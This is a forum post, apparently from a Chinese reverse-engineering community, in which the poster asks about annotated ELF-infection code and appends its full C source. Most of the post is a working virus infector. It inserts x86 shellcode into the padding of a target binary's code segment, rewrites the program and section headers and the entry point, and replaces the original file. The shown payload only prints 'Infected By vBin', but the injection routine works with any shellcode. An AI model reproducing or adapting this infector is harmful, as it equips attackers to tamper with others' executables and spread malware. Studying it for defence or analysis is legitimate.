在网上看到了一位高人写的ELF 文件感染的小代码,但是依据我自己的理解,我为这个代码加了些注释,但是其中还是有好几处不能理解,希望得到各位大牛的指教(代码详见附录)
1、
*(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry;
数组 g_ShellCode总共大小才52,那么这里的g_nVirusOffsetOfSRCEntry=63已经溢出了,这个有什么特殊含义?我尝试将这个值调整为64也是正确的,难道是故意设置一个随机值?就不怕冲突
2、
nOffset = 0;
for (pPhdr = (Elf32_Phdr *)pchData, i = 0; i < Ehdr.e_phnum; i++)
{
if (nOffset)
{
/* 位于插入点后的各代码段偏移加一页大小 */
这里为什么要加偏移 PAGE_SIZE,病毒代码不是插入在填充区间吗?既然这样,又不会使其后的
各个段发生偏移,这里真有必要?
pPhdr->p_offset += PAGE_SIZE;
}
3、
/* 检查病毒体代码是否超过填充区大小 */
printf ("g_nVirusSize=%x, nPaddingSize=%x\n", g_nVirusSize, nPaddingSize);
if (g_nVirusSize >= nPaddingSize)
{
这个条件是否有点太严格了,代码可加载段可能有多个,为什么第一个可加载段
的填充区间小于病毒体大小就认为没有机会,要退出?
_PRINT_EXIT("Virus too large!")
}
附录
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>
#define _ERROR_NULL(nRetCode) if (!nRetCode) goto Exit0;
#define _ERROR_OPEN(nRetCode) if (nRetCode < 0) goto Exit0;
#define _ERROR_SEEK(nRetCode) if (nRetCode < 0) goto Exit0;
#define _ERROR_WRITE(nRetCode) if (nRetCode < 0) goto Exit0;
#define _ERROR_CHMOD(nRetCode) if (nRetCode < 0) goto Exit0;
#define _ERROR_CHOWN(nRetCode) if (nRetCode < 0) goto Exit0;
#define _ERROR_RENAME(nRetCode) if (nRetCode < 0) goto Exit0;
#define _ERROR_READ(nRetCode, nSize) if (nRetCode != nSize) goto Exit0;
#define _PRINT_EXIT(pszMsg) printf("%s \n", pszMsg); goto Exit0;
#define PAGE_SIZE 4096
char g_ShellCode[] =
"\x0\x0\x0\x0"
"\x50" // push eax
"\x53" // push ebx
"\x51" // push ecx
"\x52" // push edx
"\xE8\x0\x0\x0\x0" // call $+5
"\x59" // pop ecx
"\x81\xC1\x1A\x0\x0\x0" // add ecx, 1Ah
"\xB8\x04\x0\x0\x0" // mov eax, 4
"\xBB\x2\x0\x0\x0" // mov ebx, 2
"\xBA\x12\x0\x0\x0" // mov edx, 12h
"\xCD\x80" // int 80h
"\xEB\x13" // jmp leave
"\x49\x6E\x66\x65\x63\x74\x65\x64\x20" // [Infected ]
"\x42\x79\x20\x76\x42\x69\x6E\x0A\x00" // [By vBin\n\0]
"\x0" // align
// leave:
"\x5A" // pop edx
"\x59" // pop ecx
"\x5B" // pop ebx
"\x58" // pop eax
"\xB8\x0\x0\x0\x0" // mov eax, 0
"\xFF\xE0" // jmp eax
"\xB8\x1\x0\x0\x0" // mov eax, 1 [Reserved For Debug]
"\xBB\x0\x0\x0\x0" // mov ebx, 0 [Reserved For Debug]
"\xCD\x80" // int 80h [Reserved For Debug]
;
int g_nVirusSize = sizeof(g_ShellCode);
long g_nVirusEntry = 4; // offset of virus code in 'g_ShellCode'
long g_nVirusOffsetOfSRCEntry = 63; // record host entry
// copy nDataSize bytes from FILE nFromHandle to FILE nToHandle.
// note: file pointer can be changed with lseek, so they needn't point to file start.
int CopyFileData(int nFromHandle, int nToHandle, unsigned int nDataSize)
{
int nResult = 0;
int nRetCode = 0;
char szData[PAGE_SIZE];
unsigned int nWritedSize = 0;
while (nWritedSize + PAGE_SIZE < nDataSize)
{
nRetCode = read(nFromHandle, szData, PAGE_SIZE);
_ERROR_READ(nRetCode, PAGE_SIZE);
nRetCode = write(nToHandle, szData, PAGE_SIZE);
_ERROR_WRITE(nRetCode);
nWritedSize += PAGE_SIZE;
}
// copy the remain SIZE of nDataSize modulod by PAGE_SIZE
nRetCode = read(nFromHandle, szData, nDataSize - nWritedSize);
_ERROR_READ(nRetCode, nDataSize - nWritedSize);
nRetCode = write(nToHandle, szData, nDataSize - nWritedSize);
_ERROR_WRITE(nRetCode);
nResult = 1;
Exit0:
return nResult;
}
/* Return true if current file is a expect ELF file. */
int check_elf_header(Elf32_Ehdr const Ehdr)
{
int nResult = 0;
int nRetCode = 0;
nRetCode = strncmp(Ehdr.e_ident, ELFMAG, SELFMAG);
if (0 != nRetCode)
{
_PRINT_EXIT ("Not Elf File!");
}
if (Ehdr.e_ident[EI_CLASS] != ELFCLASS32)
{
_PRINT_EXIT ("Not 32bit File!");
}
if (Ehdr.e_ident[EI_DATA] != ELFDATA2LSB)
{
_PRINT_EXIT ("Not LSB!");
}
if ((Ehdr.e_type != ET_EXEC) && (Ehdr.e_type != ET_DYN))
{
_PRINT_EXIT ("Not Execute File!");
}
if (Ehdr.e_machine != EM_386)
{
_PRINT_EXIT ("Machine Not 386!");
}
if (Ehdr.e_version != EV_CURRENT)
{
_PRINT_EXIT ("Version Error!");
}
nResult = 1;
Exit0:
return nResult;
}
int infect(char *pszFileName)
{
int nResult = 0;
int nRetCode = 0;
Elf32_Shdr *pShdr = NULL;
Elf32_Phdr *pPhdr = NULL;
Elf32_Ehdr Ehdr;
int nFileHandle = -1;
int nTmpHandle = -1;
char szTmpName[] = "infect.tmp";
char szData[PAGE_SIZE] = { 0 };
char *pchData = NULL;
char *pchSData = NULL;
int i = 0;
int nPLen = 0;
int nSLen = 0;
int nOffset = 0;
int nEVaddr = 0;
int nOldShoff = 0;
int nTmpFilePos = 0;
int nPaddingSize = 0;
struct stat FileStat;
nFileHandle = open(pszFileName, O_RDONLY);
_ERROR_OPEN(nFileHandle);
nRetCode = lseek(nFileHandle, 0, SEEK_SET); /* 把文件指针指向文件的开头. */
_ERROR_SEEK(nRetCode);
nRetCode = read(nFileHandle, &Ehdr, sizeof(Ehdr)); /* 获取文件头信息*/
_ERROR_READ(nRetCode, sizeof(Ehdr));
if (!check_elf_header (Ehdr))
{
_PRINT_EXIT("Not a expect Elf File!");
}
printf ("Ehdr.e_entry=%p\n", Ehdr.e_entry);
*(int *)&g_ShellCode[g_nVirusOffsetOfSRCEntry] = Ehdr.e_entry;
nPLen = sizeof(Elf32_Phdr) * Ehdr.e_phnum; // 程序头表条目数
pchData = (char *)malloc(nPLen);
_ERROR_NULL(pchData);
nRetCode = lseek(nFileHandle, Ehdr.e_phoff, SEEK_SET); // 程序头表偏移量
_ERROR_SEEK(nRetCode);
nRetCode = read(nFileHandle, pchData, nPLen); // 从程序头表开始读取所有的程序头表
_ERROR_READ(nRetCode, nPLen);
/*
* update the phdr's to reflect the extention of the text segment (to
* allow virus insertion)
*/
nOffset = 0;
for (pPhdr = (Elf32_Phdr *)pchData, i = 0; i < Ehdr.e_phnum; i++)
{
if (nOffset)
{
/* 位于插入点后的各代码段偏移加一页大小 */
/* 不规则排列 */
printf ("pPhdr->p_offset=%x\n", pPhdr->p_offset);
pPhdr->p_offset += PAGE_SIZE;
}
else if (PT_LOAD == pPhdr->p_type && 0 == pPhdr->p_offset) /* 可加载段(代码及数据段)*/
{
/* 可加载段,并非说此时p_offset必须是0,但通常是的 */
int palen;
/* 内存大小和文件大小不一致,说明存在.bss段 */
if (pPhdr->p_filesz != pPhdr->p_memsz)
{
/* 如果存在.bss, 直接在pPhdr->p_vaddr + pPhdr->p_filesz后填充可能被覆盖,
导致病毒物理插入无效。那为什么不插入到pPhdr->p_vaddr + pPhdr->p_memsz后?
不插入pPhdr->p_vaddr + pPhdr->p_memsz显然静态文件不存在.bss区间 */
_PRINT_EXIT("pPhdr->p_filesz != pPhdr->p_memsz");
}
/* 新的程序入口点 entry point,也是原代码段尾部填充区位置 */
nEVaddr = pPhdr->p_vaddr + pPhdr->p_filesz;
printf ("nEVaddr(new entry)=%p\n", nEVaddr);
/* 原代码段尾部填充大小,段以PAGE_SIZE为单位进行对齐 */
nPaddingSize = PAGE_SIZE - (nEVaddr & (PAGE_SIZE - 1));
/* 检查病毒体代码是否超过填充区大小 */
printf ("g_nVirusSize=%x, nPaddingSize=%x\n", g_nVirusSize, nPaddingSize);
if (g_nVirusSize >= nPaddingSize)
{
//_PRINT_EXIT("Virus too large!");
continue;
}
printf ("nEVaddr=%p, g_nVirusEntry=%x\n", nEVaddr, g_nVirusEntry);
Ehdr.e_entry = nEVaddr + g_nVirusEntry;
/* 既然phdr->p_offset为零,这里还有必要这样编码吗?*/
/* 在文件中物理地插入寄生代码到这个位置*/
nOffset = pPhdr->p_offset + pPhdr->p_filesz; // Virus offset in file
pPhdr->p_filesz += g_nVirusSize;
pPhdr->p_memsz += g_nVirusSize;
}
/* 依次遍历每个程序头表(程序段)*/
++pPhdr;
}
printf ("nOffset=%x\n", nOffset);
if (0 == nOffset)
{
_PRINT_EXIT("No LOAD Segment!");
}
nSLen = sizeof(Elf32_Shdr) * Ehdr.e_shnum;
pchSData = (char *)malloc(nSLen);
_ERROR_NULL(pchSData);
nRetCode = lseek(nFileHandle, Ehdr.e_shoff, SEEK_SET);
_ERROR_SEEK(nRetCode);
nRetCode = read(nFileHandle, pchSData, nSLen);
_ERROR_READ(nRetCode, nSLen);
/* update the shdr's to reflect the insertion of the parasite */
for (pShdr = (Elf32_Shdr *)pchSData, i = 0; i < Ehdr.e_shnum; i++)
{
/* 位于插入点后的各节区偏移也增加一页 */
if (pShdr->sh_offset >= nOffset)
{
printf ("pShdr->sh_offset=%x\n", pShdr->sh_offset);
/* 基本上从小到大升序排列 */
pShdr->sh_offset += PAGE_SIZE;
}
/* 被插入代码所在节区 */
else if (nEVaddr == (pShdr->sh_addr + pShdr->sh_size))
{
/* if its not strip safe then we cant use it */
/* 被strip过的ELF文件也并非就不存在SHT_PROGBITS段,
*.text节区也可以有该属性,并且默认strip只去掉
去除.symbol节的内容以及.debug节的内容 */
printf ("i=%d, pShdr->sh_type=%x\n", i, pShdr->sh_type);
if (pShdr->sh_type != SHT_PROGBITS )
{
printf ("exit: pShdr->sh_type != SHT_PROGBITS\n");
_PRINT_EXIT("stat error!\n");
}
pShdr->sh_size += g_nVirusSize;
}
/* 依次遍历每个节区 */
pShdr++;
}
/* update ehdr to reflect new offsets */
nOldShoff = Ehdr.e_shoff;
if (Ehdr.e_shoff >= nOffset)
{
Ehdr.e_shoff += PAGE_SIZE;
}
nRetCode = fstat(nFileHandle, &FileStat);
if (nRetCode < 0)
{
_PRINT_EXIT("stat error!\n");
}
nTmpHandle = open(szTmpName, O_WRONLY | O_CREAT | O_TRUNC, FileStat.st_mode);
_ERROR_OPEN(nTmpHandle);
nRetCode = lseek(nFileHandle, 0, SEEK_SET);
_ERROR_SEEK(nFileHandle);
nRetCode = write(nTmpHandle, &Ehdr, sizeof(Elf32_Ehdr));
_ERROR_WRITE(nRetCode);
nRetCode = write(nTmpHandle, pchData, nPLen);
_ERROR_WRITE(nRetCode);
nTmpFilePos = sizeof(Elf32_Ehdr) + nPLen;
nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET);
_ERROR_SEEK(nRetCode);
if (nOffset < nTmpFilePos)
{
_PRINT_EXIT("fatal error!");
}
nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOffset - nTmpFilePos);
_ERROR_NULL(nRetCode);
nRetCode = write(nTmpHandle, g_ShellCode, g_nVirusSize);
_ERROR_WRITE(nRetCode);
memset(szData, PAGE_SIZE - g_nVirusSize, 0);
nRetCode = write(nTmpHandle, szData, PAGE_SIZE - g_nVirusSize);
_ERROR_WRITE(nRetCode);
nRetCode = CopyFileData(nFileHandle, nTmpHandle, nOldShoff - nOffset);
_ERROR_NULL(nRetCode);
nRetCode = write(nTmpHandle, pchSData, nSLen);
_ERROR_WRITE(nRetCode);
nTmpFilePos = nOldShoff + nSLen;
nRetCode = lseek(nFileHandle, nTmpFilePos, SEEK_SET);
_ERROR_SEEK(nRetCode);
nRetCode = CopyFileData(
nFileHandle,
nTmpHandle,
FileStat.st_size - nTmpFilePos
);
_ERROR_NULL(nRetCode);
nRetCode = rename(szTmpName, pszFileName);
_ERROR_RENAME(nRetCode);
nRetCode = fchmod(nTmpHandle, FileStat.st_mode);
_ERROR_CHMOD(nRetCode);
nRetCode = fchown(nTmpHandle, FileStat.st_uid, FileStat.st_gid);
_ERROR_CHOWN(nRetCode);
printf("Infect Success!\n");
nResult = 1;
Exit0:
if (nFileHandle >= 0)
{
close(nFileHandle);
nFileHandle = -1;
}
if (nTmpHandle >= 0)
{
close(nTmpHandle);
nTmpHandle = -1;
}
if (pchData)
{
free(pchData);
pchData = NULL;
}
if (pchSData)
{
free(pchSData);
pchSData = NULL;
}
return nResult;
}
int main(int argc, char **argv)
{
int nRetCode = 0;
if (argc != 2)
{
_PRINT_EXIT("usage: demo <filename>");
}
nRetCode = infect(argv[1]);
if (nRetCode != 1)
{
_PRINT_EXIT("infect failed");
goto Exit0;
}
Exit0:
return 0;
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)